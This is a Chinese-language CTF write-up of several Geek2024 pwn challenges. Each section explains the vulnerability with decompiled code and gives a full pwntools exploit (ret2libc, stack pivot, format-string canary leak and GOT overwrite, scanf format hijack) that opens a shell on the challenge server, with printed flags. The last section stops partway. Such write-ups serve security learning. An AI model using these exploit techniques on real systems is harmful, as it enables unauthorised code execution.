此题仍然可以直接ret2libc,预期解为ret2csu,这里只展示ret2libc的解法 题目给了libc,ld,附件csu,查一下保护
$ checksec csu
[*] '/ctf/work/Geek2024/Pwn/su~~~~/csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖进ida看看反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+1Ch] [rbp-4h] BYREF
init(argc, argv, envp);
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 2:
hint();
return 0;
case 3:
exit(0);
case 1:
writesomething();
return 0;
default:
puts("NO,no,you can't do this.");
exit(0);
}
}
writesomething()
函数
ssize_t writesomething()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
可以直接栈溢出控制执行流。存在用于ret2csu的gedget,但是有puts()
函数,我们查看一下ROPgadget
$ ROPgadget --binary csu --only 'pop|ret'
Gadgets information
============================================================
0x00000000004008fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400900 : pop r14 ; pop r15 ; ret
0x0000000000400902 : pop r15 ; ret
0x00000000004008fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ff : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b8 : pop rbp ; ret
0x0000000000400903 : pop rdi ; ret
0x0000000000400901 : pop rsi ; pop r15 ; ret
0x00000000004008fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d6 : ret
可以直接控制rdi
那就没必要ret2csu了,直接用puts()
打印puts()
的真实地址就可以ret2libc
了 EXP
from pwn import *
#IO
##io = process('./csu')
io = remote('nc1.ctfplus.cn', 36897)
elf = ELF('./csu')
libc = ELF('./libc.so.6')
#init
pop_rdi = 0x400903
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x400798
ret_addr = 0x40089d
offset = 0x80 + 0x8
#leak libc
io.sendlineafter(b'[3] exit.', b'1')
payleak = cyclic(offset) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendline(payleak)
io.recvline()
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.info('puts_addr: '+hex(puts_addr))
log.info('libc_base: '+hex(libc_base))
#getshell
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
paygetshell = cyclic(offset) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) + p64(0xdeadbeef)
io.sendline(paygetshell)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 36897: Done
[*] '/ctf/work/Geek2024/Pwn/su~~~~/csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/work/Geek2024/Pwn/su~~~~/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] puts_addr: 0x7fdf4edc7970
[*] libc_base: 0x7fdf4ed47000
[*] Switching to interactive mode
$ ls
bin
csu
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
$ cat flag
SYC{164a516e-9c89-4d49-be62-24ceb6e9c1ea}
这里的空间有点小啊
涉及知识点:栈迁移,ret2libc
查保护
$ checksec main
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目给了libc和ld,从描述不难猜出这道题是要打栈迁移,先拖进ida看看反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+2Ch] [rbp-4h] BYREF
init((unsigned int)argc, argv, envp);
puts("Do you know what is stack overflow exploit?\n");
puts("What do you want to do?");
puts("[1] Write something\n[2] Give you a flag\n>>");
__isoc99_scanf("%1d", &v4);
if ( v4 <= 2 && v4 > 0 )
{
if ( v4 == 1 )
vuln();
else
puts("flag{This_Is_@_VVR0ng_f1@g}");
}
else
{
puts("Oi,you can't do this!");
}
return 0;
}
关键点在于vuln()
函数,看看反汇编
ssize_t vuln()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("Now you can write something");
return read(0, buf, 0x40uLL);
}
溢出点在read()
函数,但是溢出的长度只能覆盖到返回地址(0x40-0x30’buf长度’-0x8’寄存器’),显然这道题要打栈迁移。 这道题是典型的单read栈迁移,重点就是利用rbp
控制rsi
,可以看看read()
函数的汇编
lea rax, [rbp+buf]
mov edx, 40h ; '@' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
简单分析一下逻辑
lea rax, [rbp+buf]
:将rbp
的值加上buf
的长度,赋给rax
mov edx, 40h
:将0x40
赋给edx
mov rsi, rax
:将rax
的值赋给rsi
mov edi, 0
:将0
赋给edi
mov eax, 0
:将0
赋给eax
call _read
:调用read()
函数. 可以发现,如果我们控制了rbp
的位置,我们就可以将read()
读入的数据迁到任意位置,一般我们是迁到.bss
段。那么怎么控制rbp
呢?这就要运用我们之前说到的栈迁移了。栈迁移的精髓就是两次leave;ret
,从而控制rbp
的位置。
由于read()
末尾自带一个leave;ret
,所以这里我们会将rbp
迁移到.bss
段上。
leave
等价于mov esp, ebp; pop ebp
如果提前将rbp
的值修改为我们想要的位置,那么当mov esp, ebp
结束之后,栈顶就是我们想要的位置,此时pop ebp
就可以将rbp
迁移到我们想要的位置了。
所以第一次栈迁移,我们的Payload如下
PayPivote = cyclic(offset) + p64(bss + 0x30) + p64(read_addr)
其中bss为.bss
段地址,read_addr为read()
函数地址。 注意p64(bss + 0x30)
覆盖的是rbp
的位置,由于buf是-0x30
所以最后栈指针会指向.bss
的起始段(bss+0x30-0x30=bss) 第一次payload执行完毕,leave使得rbp弹到bss段,执行流返回到read()
继续执行
程序回到read,第二次栈迁移继续执行,这个时候我们就要开始打ROP了,这个时候read已经是向.bss
上读数据了,写ROP[puts(puts@got)]泄露libc。这个时候我们的ROP会写到.bss
段上,但并不会执行,我们稍后会用栈迁移执行我们写在.bss
上的ROP。
Payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
还没完,我们现在只是将泄露libc的ROP写到了.bss
上,但我们还需要getshell的ROP,所以我们还需要写控制rbp到另一个我们写getshellROP的位置。
Payload += p64(pop_rbp) + p64(bss + 0x200 + 0x30) + p64(read_addr)
继续构造Payload,要求其泄露libc后,继续通过pop_rbp迁移到另一个位置,然后利用read再次写入ROP[system(‘/bin/sh\x00’)]。
Payload += p64(bss - 0x8) + p64(leave_ret)
最后,我们要让程序执行到我们刚刚写入的Payload,在rbp的位置填入bss - 0x8
,返回地址填leave_ret
,这样两次leave_ret后,eip会停留到我们刚刚写的.bss段的起始,即Payload的起始,开始执行我们的ROP。
为什么要写bss - 0x8? 我们需要让程序在
leave_ret
后停留到bss的起始段,第一次leave_ret
在第二次触发的read函数的末尾,结束之后rbp
已经被弹到了bss - 0x8
,此时第二次leave_ret
(我们写进的leave_ret
在返回地址),rsp
会来到bss - 0x8
,这时还要执行一次pop ebp
,此时rsp
就会下降一个内存单元,来到bss
的起始位置,而这里也正是我们Payload的起始位置,然后ret
即pop eip
,执行流就会跳转到bss段继续执行我们的payload。
第二次Payload执行完毕后,程序会泄露处libc,然后继续执行read函数,我们在这次写入ROP[system(‘/bin/sh\x00’)],然后再次利用栈迁移Getshell即可
Payshell = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
这里写入getshell的ROP,然后用栈迁移再次执行
Payshell += p64(bss + 0x200 - 0x8) + p64(leave_ret)
这里执行ROPShell的原理和泄露libc时是一样的。
总结一下:
- 第一次读入,栈溢出,布置rbp到bss,再次跳转到read
- 第二次读入,布置libc,预留rbp跳转bss新位置,预留再次跳转read,栈迁移执行libc
- 第三次读入,布置getshell,布置rbp跳转bss shellROP位置,栈迁移执行getshell
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info',terminal=['tmux','splitw', '-h'])
def debug():
gdb.attach(io)
pause()
#IO
#io = process('./main')
elf = ELF('./main')
libc = ELF('./libc.so.6')
io = remote("nc1.ctfplus.cn", 47197)
#init
ret_addr = 0x400566
offset = 0x30
bss = 0x601010 + 0x500
pop_rdi = 0x400853
pop_rbp = 0x400628
leave_ret = 0x400738
read_addr = 0x40071C
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#hijack bp
Paypivote = cyclic(offset) + p64(bss + 0x30) + p64(read_addr) ###buf = -0x30
io.sendlineafter(b'>>', b'1')
io.sendafter(b'something\n', Paypivote)
#leak libc&&hijack again
Payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) ###ROP[puts(puys@got)]
Payload += p64(pop_rbp) + p64(bss + 0x200 + 0x30) + p64(read_addr) ###hijack again
Payload += p64(bss - 0x8) + p64(leave_ret)
io.send(Payload)
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
#get shell
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
PayShell = (p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)).ljust(0x30, b'\x00') ###ROP[system('/bin/sh')]
PayShell += p64(bss + 0x200 - 0x8) + p64(leave_ret)
io.send(PayShell)
io.interactive()
RESULT
[*] '/ctf/work/Geek2024/Pwn/这里的空间有点小啊/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/ctf/work/Geek2024/Pwn/这里的空间有点小啊/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to nc1.ctfplus.cn on port 47197: Done
[+] puts_addr: 0x7f6170674970
[+] libc_base: 0x7f61705f4000
[*] Switching to interactive mode
$ cat flag
SYC{9caff6a6-a980-4488-94b9-54c57fda316b}
真的能走到后门吗
涉及知识点:ret2text,格式化字符串覆写got表 先查壳。
$ checksec fmt
[*] '/ctf/work/Geek2024/Pwn/真的能走到后门吗/fmt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
检查到canary,那么就不能直接通过栈溢出覆盖返回地址控制程序执行流,应该是用格式化字符串漏洞打印出canary来bypass。
拖进ida看看反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[1] = __readfsqword(0x28u);
buf[0] = 0LL;
init(argc, argv, envp);
puts("Welcome to Geek 2024!!\ntell me your ID:");
read(0, buf, 8uLL);
vuln();
printf("%s", str);
v3 = strlen(str1);
write(1, str1, v3);
return 0;
}
进去vuln()
看看。
unsigned __int64 vuln()
{
__int64 v0; // r15
char v2[32]; // [rsp+0h] [rbp-40h] BYREF
char v3[8]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
__int64 vars0; // [rsp+40h] [rbp+0h]
v4 = __readfsqword(0x28u);
v0 = vars0;
puts("OK,whats your name?");
read(0, v3, 0x10uLL);
puts("your name:");
printf(v3);
puts("What do you want to say?");
read_str(v2, 72LL);
if ( v0 != vars0 )
_exit(0);
return __readfsqword(0x28u) ^ v4;
}
这里应该就是漏洞所在了,同时程序存在后门函数。
int backdoor()
{
return system("/bin/sh");
}
但是在存在canary的情况下无法直接溢出,同时read_str()
看起来也无法直接翻盖到返回地址,只能控制rbp的内容,也就是没有明显的溢出点。
但此处有明显的格式化字符串漏洞:
read(0, v3, 0x10uLL);
puts("your name:");
printf(v3);
我们可以通过这个格式化字符串泄露canary。
我们通过gdb调试来看看canary相对于format的偏移
首先,printf()
的汇编如下
lea rax, [rbp+var_40]
add rax, 20h ; ' '
mov rdi, rax ; format
mov eax, 0
call _printf
仅有一个参数format
传在rdi
上,64位传参需要寄存器,当参数少于7个时,参数从左到右分别传入rdi
,rsi
,rdx
,rcx
,r8
,r9
;大于七个时,从第七个参数开始依靠栈传参。
看看printf()
函数附近的栈布局
pwndbg> stack 20
00:0000│ rsp 0x7fffffffe3e0 —▸ 0x402048 ◂— 'Welcome to Geek 2024!!\ntell me your ID:'
01:0008│ 0x7fffffffe3e8 —▸ 0x7ffff7e0e02a (puts+346) ◂— cmp eax, -1
02:0010│ 0x7fffffffe3f0 ◂— 0x6f0
03:0018│ 0x7fffffffe3f8 ◂— 0x0
04:0020│ rax rdi 0x7fffffffe400 ◂— 0xa61616161 /* 'aaaa\n' */
05:0028│ 0x7fffffffe408 —▸ 0x7fffffffe440 ◂— 0x1
06:0030│ 0x7fffffffe410 ◂— 0x0
07:0038│ 0x7fffffffe418 ◂— 0x2a3883b8c4730700
08:0040│ rbp 0x7fffffffe420 —▸ 0x7fffffffe440 ◂— 0x1
09:0048│ 0x7fffffffe428 —▸ 0x4013f1 (main+89) ◂— lea rsi, [rip + 0x2c78]
0a:0050│ 0x7fffffffe430 ◂— 0xa31 /* '1\n' */
0b:0058│ 0x7fffffffe438 ◂— 0x2a3883b8c4730700
0c:0060│ r15 0x7fffffffe440 ◂— 0x1
0d:0068│ 0x7fffffffe448 —▸ 0x7ffff7db6d90 (__libc_start_call_main+128) ◂— mov edi, eax
0e:0070│ 0x7fffffffe450 ◂— 0x0
0f:0078│ 0x7fffffffe458 —▸ 0x401398 (main) ◂— endbr64
10:0080│ 0x7fffffffe460 ◂— 0x1ffffe540
11:0088│ 0x7fffffffe468 —▸ 0x7fffffffe558 —▸ 0x7fffffffe7ad ◂— 0x726f772f6674632f ('/ctf/wor')
12:0090│ 0x7fffffffe470 ◂— 0x0
13:0098│ 0x7fffffffe478 ◂— 0x94e44a118d5f994e
64位canary一般存放在rbp - 8
的位置
07:0038│ 0x7fffffffe418 ◂— 0x2a3883b8c4730700
那么相对于栈顶的偏移就是8
00:0000│1 rsp 0x7fffffffe3e0 —▸ 0x402048 ◂— 'Welcome to Geek 2024!!\ntell me your ID:'
01:0008│2 0x7fffffffe3e8 —▸ 0x7ffff7e0e02a (puts+346) ◂— cmp eax, -1
02:0010│3 0x7fffffffe3f0 ◂— 0x6f0
03:0018│4 0x7fffffffe3f8 ◂— 0x0
04:0020│5 rax rdi 0x7fffffffe400 ◂— 0xa61616161 /* 'aaaa\n' */
05:0028│6 0x7fffffffe408 —▸ 0x7fffffffe440 ◂— 0x1
06:0030│7 0x7fffffffe410 ◂— 0x0
07:0038│8 0x7fffffffe418 ◂— 0x2a3883b8c4730700
所以canary相对我们format的偏移就是5+8=13
构造的payload就是:%13$p
Welcome to Geek 2024!!
tell me your ID:
1
OK,whats your name?
%13$p
your name:
0xb9d58b86db8a4800
可以看到成功打印出canary。
继续分析vuln()
,有一处函数比较有意思
puts("What do you want to say?");
read_str(v2, 72LL);
这个read_str()
疑似是自己定义的,看看实现
__int64 __fastcall read_str(__int64 a1, int a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i > a2 )
break;
read(0, (void *)(i + a1), 1uLL);
}
return result;
}
参数传入72,实际会读入73字节的数据,即存在差一错误,刚好可以覆盖到返回地址的末一字节
由于vuln函数是main调用的,所以返回地址就是0x4013F1
.text:00000000004013EC call vuln
.text:00000000004013F1 lea rsi, str
那么我们改掉末尾一字节为EC
,那么就会再次调用一次vuln()
,去实现无限read(format);printf(format)
调用,实现任意地址写。存在backdoor()
的情况下,我们可以修改某个被调用的函数的got表,使其调用时指向backdoor()
,直接getshell
EXP
from pwn import *
#io = process('./fmt')
io = remote('nc1.ctfplus.cn', 17316)
io.sendline(b'a')
format_1 = b'%13$p.%14$p'
io.sendafter(b'name?\n', format_1)
io.recvuntil(b'0x')
canary = int(io.recv(16),16)
log.info(f'canary: {hex(canary)}')
io.recvuntil(b'0x')
rbp = int(io.recv(12),16)
log.info(f'rbp: {hex(rbp)}')
ret = rbp - 0x18
payload = p64(ret + 1) + cyclic(0x30) + p64(canary) + p64(rbp) + b'\xEC'
io.sendafter(b'say?\n',payload)
io.send(b'%18c%6$hhn')
sleep(0.5)
io.send(cyclic(0x38) + p64(canary) + p64(rbp) + b'\x82')
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 17316: Done
[*] canary: 0xcef98022236dc100
[*] rbp: 0x7ffeb178da60
[*] Switching to interactive mode
OK,whats your name?
your name:
#aajaaakaaalaaaWhat do you want to say?
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{fd0c572e-f1cb-4dac-a3bb-f3dae75abd0e}
ez_fmt
涉及知识点:scanf()
的格式化字符串漏洞 题目给了ld,libc,以及pwn文件,我们查一下保护
$checksec pwn
[*] '/ctf/work/Geek2024/Pwn/ez_fmt/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,那么我们需要泄露canary和rbp才能进行基本ROP
拖进IDA看下伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("Where is fmt???\n");
while ( count-- )
function();
if ( (unsigned int)vuln() )
puts("But fmt is ez for most of pwner.");
else
puts("You are so good!!");
return 0;
}
给了两个关键函数function()
和vuln()
看看function()
unsigned __int64 function()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0LL;
puts("Input offset:(0x..)");
__isoc99_scanf("%llx", &v1);
puts((const char *)&v1 + v1);
return __readfsqword(0x28u) ^ v2;
}
function()
可以泄露出栈上的任意地址,同时main()
中对function的调用做了循环处理
while ( count-- )
function();
.data:0000000000004010 count dd 2 ; DATA XREF: main:loc_138F↑r
即我们有两次泄露栈上地址的机会,自然是泄露canary和libc
看看vuln()
__int64 vuln()
{
__int64 buf[2]; // [rsp+10h] [rbp-40h] BYREF
__int64 v2[6]; // [rsp+20h] [rbp-30h] BYREF
v2[5] = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
memset(v2, 0, 32);
puts("It`s ez for you ?? Your anser:");
read(0, buf, 0x20uLL);
__isoc99_scanf((const char *)v2);
return (unsigned int)strcmp((const char *)buf, str);
}
read()
读入0x20,scanf()
未格式化字符串,但是却是在v2上进行格式化输入。显然在scanf()
上存在格式化字符串漏洞,但要怎么利用呢?我们看一下此处的汇编代码。
; Attributes: bp-based frame
; __int64 vuln()
public vuln
vuln proc near
var_44= dword ptr -44h
buf= qword ptr -40h
var_38= qword ptr -38h
var_30= qword ptr -30h
var_28= qword ptr -28h
var_20= qword ptr -20h
var_18= qword ptr -18h
var_8= qword ptr -8
; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 50h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
mov [rbp+buf], 0
mov [rbp+var_38], 0
mov [rbp+var_30], 0
mov [rbp+var_28], 0
mov [rbp+var_20], 0
mov [rbp+var_18], 0
lea rdi, s ; "It`s ez for you ?? Your anser:"
call _puts
lea rax, [rbp+buf]
mov edx, 20h ; ' ' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
add rax, 10h
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
lea rax, [rbp+buf]
lea rsi, str ; "yes\n"
mov rdi, rax ; s1
call _strcmp
mov [rbp+var_44], eax
xor rsi, rsi
xor rdx, rdx
mov eax, [rbp+var_44]
mov rcx, [rbp+var_8]
xor rcx, fs:28h
jz short locret_129E
注意到此处
lea rax, [rbp+buf]
mov edx, 20h ; ' ' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
lea rax, [rbp+buf]
add rax, 10h
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
传入scanf()
的第一个参数就是buf-0x10
,而read()
在buf
上读入0x20字节,也就是说read()
可以控制buf-0x10
的内容,即我们可以控制scanf()
的第一个参数,如果我们把它改成%s
,那么scanf()
就相当于一个gets()
函数不限制我们读入数据的长度,再加上我们在之前泄露的canary和libc基地址,直接就可以打基本ROP-ret2libc了。
关键的控制scanf()
参数同样可以通过调试发现。
──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────
RAX 0x7fffffffe440 ◂— 0x0
RBX 0x5555555553e0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7ee3297 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x20
*RDI 0x0
RSI 0x7fffffffe440 ◂— 0x0
R8 0x1f
R9 0x7ffff7fe0d60 ◂— endbr64
R10 0x55555555603b ◂— 0x65685700786c6c25 /* '%llx' */
R11 0x246
R12 0x555555555100 (_start) ◂— endbr64
R13 0x7fffffffe590 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe480 —▸ 0x7fffffffe4a0 ◂— 0x0
RSP 0x7fffffffe430 —▸ 0x7fffffffe470 ◂— 0x0
*RIP 0x555555555251 (vuln+104) ◂— call 0x5555555550d0
───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────
0x55555555523b <vuln+82> call puts@plt <puts@plt>
0x555555555240 <vuln+87> lea rax, [rbp - 0x40]
0x555555555244 <vuln+91> mov edx, 0x20
0x555555555249 <vuln+96> mov rsi, rax
0x55555555524c <vuln+99> mov edi, 0
► 0x555555555251 <vuln+104> call read@plt <read@plt>
fd: 0x0 (/dev/pts/0)
buf: 0x7fffffffe440 ◂— 0x0
nbytes: 0x20
0x555555555256 <vuln+109> lea rax, [rbp - 0x40]
0x55555555525a <vuln+113> add rax, 0x10
0x55555555525e <vuln+117> mov rdi, rax
0x555555555261 <vuln+120> mov eax, 0
0x555555555266 <vuln+125> call __isoc99_scanf@plt <__isoc99_scanf@plt>
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe430 —▸ 0x7fffffffe470 ◂— 0x0
01:0008│ 0x7fffffffe438 —▸ 0x7ffff7e5959a (puts+378) ◂— cmp eax, -1
02:0010│ rax rsi 0x7fffffffe440 ◂— 0x0
... ↓ 5 skipped
───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────
► 0 0x555555555251 vuln+104
1 0x5555555553ac main+82
2 0x7ffff7df9083 __libc_start_main+243
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic(0x20)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaa
此处读入有规律的字符串0x20个字节。
0x555555555266 <vuln+125> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x7fffffffe450 ◂— 'caaaaaaadaaaaaaa'
vararg: 0x7fffffffe440 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaa'
可以看到scanf()
第一个参数是我们控制的内容,那么我们把它控制为%s
就可以直接打ROP了。
EXP
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'splitw', '-h'])
def debug():
gdb.attach(io)
pause()
io = process('./pwn')
##io = remote('nc1.ctfplus.cn',45112)
libc = ELF('./libc.so.6')
# leak canary
io.recv()
io.sendline('9')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info(f'canary: {hex(canary)}')
# leak libc base
io.sendline('38')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083
log.info(f'libc base: {hex(libc_base)}')
# hijack scanf first parameter
hijack = cyclic(0x10) + b'%s'
io.sendafter(b'It`s ez for you ?? Your anser:', hijack)
sleep(0.5)
# ret2libc
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
rdi_addr = libc_base + 0x23b6a
ret_addr = libc_base + 0x22679
payload = cyclic(0x38) + p64(canary) + b'A' * 8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 45112: Done
[*] '/ctf/work/Geek2024/Pwn/ez_fmt/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x25 bytes:
b'Where is fmt???\n'
b'\n'
b'Input offset:(0x..)\n'
exp.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('9')
[DEBUG] Sent 0x2 bytes:
b'9\n'
[DEBUG] Received 0xd bytes:
00000000 92 fc d2 63 9e d5 1d a0 07 39 e3 ff 7f │···c│····│·9··│·│
0000000d
[*] canary: 0x1dd59e63d2fc9200
exp.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline('38')
[DEBUG] Sent 0x3 bytes:
b'38\n'
[*] libc base: 0x7fffe336c71d
[DEBUG] Received 0x15 bytes:
b'\n'
b'Input offset:(0x..)\n'
[DEBUG] Received 0x26 bytes:
00000000 83 d0 d3 0c 69 7f 0a 49 74 60 73 20 65 7a 20 66 │····│i··I│t`s │ez f│
00000010 6f 72 20 79 6f 75 20 3f 3f 20 59 6f 75 72 20 61 │or y│ou ?│? Yo│ur a│
00000020 6e 73 65 72 3a 0a │nser│:·│
00000026
[DEBUG] Sent 0x12 bytes:
b'aaaabaaacaaadaaa%s'
[DEBUG] Sent 0x68 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│
00000030 6d 61 61 61 6e 61 61 61 00 92 fc d2 63 9e d5 1d │maaa│naaa│····│c···│
00000040 41 41 41 41 41 41 41 41 96 ed 38 e3 ff 7f 00 00 │AAAA│AAAA│··8·│····│
00000050 87 02 39 e3 ff 7f 00 00 da 0c 52 e3 ff 7f 00 00 │··9·│····│··R·│····│
00000060 ad e9 3b e3 ff 7f 00 00 │··;·│····│
00000068
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{ae2a7d9a-d51d-477a-b57f-d5}
学校的烂电梯Plus
涉及知识点:整数溢出,栈排布,read()
底层原理 题目给的pwn附件,checksec查下保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
RUNPATH: b'./libc.so.6'
有canary,在不bypass的前提下无法直接通过溢出控制程序执行流。
看看ida的反汇编。
int __fastcall main(int argc, const char **argv, const char **envp)
{
init_func(argc, argv, envp);
puts("Welcome to 2024 Geek pwn channel!");
puts("This is a elevator");
return take_elevator();
}
take_elevator()
unsigned __int64 take_elevator()
{
int v1; // [rsp+4h] [rbp-3Ch] BYREF
double v2; // [rsp+8h] [rbp-38h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("how many floors do you want to go?");
__isoc99_scanf("%d", &v1);
data = 8 * v1;
puts("oh , the elevator maybe broken");
puts("but you can call phone to rescue you");
ask_phone(&v2);
printf("you call the number is %lf", v2);
puts("you have be saved, please send a message to thanks for the man!!");
read(0, buf, 0x28uLL);
return v4 - __readfsqword(0x28u);
}
ask_phone()
__int64 __fastcall ask_phone(__int64 a1)
{
printf("which one you want to call?");
__isoc99_scanf("%lf", a1);
return readuntil(10LL);
}
这里出现了data
全局量,但是并没有在后续调用?我们看看汇编。
; Attributes: bp-based frame
; unsigned __int64 take_elevator()
public take_elevator
take_elevator proc near
var_3C= dword ptr -3Ch
var_38= qword ptr -38h
buf= byte ptr -30h
var_8= qword ptr -8
; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 40h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rax, aHowManyFloorsD ; "how many floors do you want to go?"
mov rdi, rax ; format
mov eax, 0
call _printf
lea rax, [rbp+var_3C]
mov rsi, rax
lea rax, aD ; "%d"
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
mov eax, [rbp+var_3C]
shl eax, 3
cdqe
mov cs:data, rax
sub rsp, 404050h
lea rax, s ; "oh , the elevator maybe broken"
mov rdi, rax ; s
call _puts
lea rax, aButYouCanCallP ; "but you can call phone to rescue you"
mov rdi, rax ; s
call _puts
lea rax, [rbp+var_38]
mov rdi, rax
call ask_phone
mov rax, [rbp+var_38]
movq xmm0, rax
lea rax, aYouCallTheNumb ; "you call the number is %lf"
mov rdi, rax ; format
mov eax, 1
call _printf
lea rax, aYouHaveBeSaved ; "you have be saved, please send a messag"...
mov rdi, rax ; s
call _puts
lea rax, [rbp+buf]
mov edx, 28h ; '(' ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
nop
mov rax, [rbp+var_8]
sub rax, fs:28h
jz short locret_4013E5
可以看到其中有个比较关键的地方
mov cs:data, rax
sub rsp, 404050h
将0x404050
的部分的值与rsp
作差。那么0x404050
是什么?
不难猜到0x404050
就是data
所在的地址
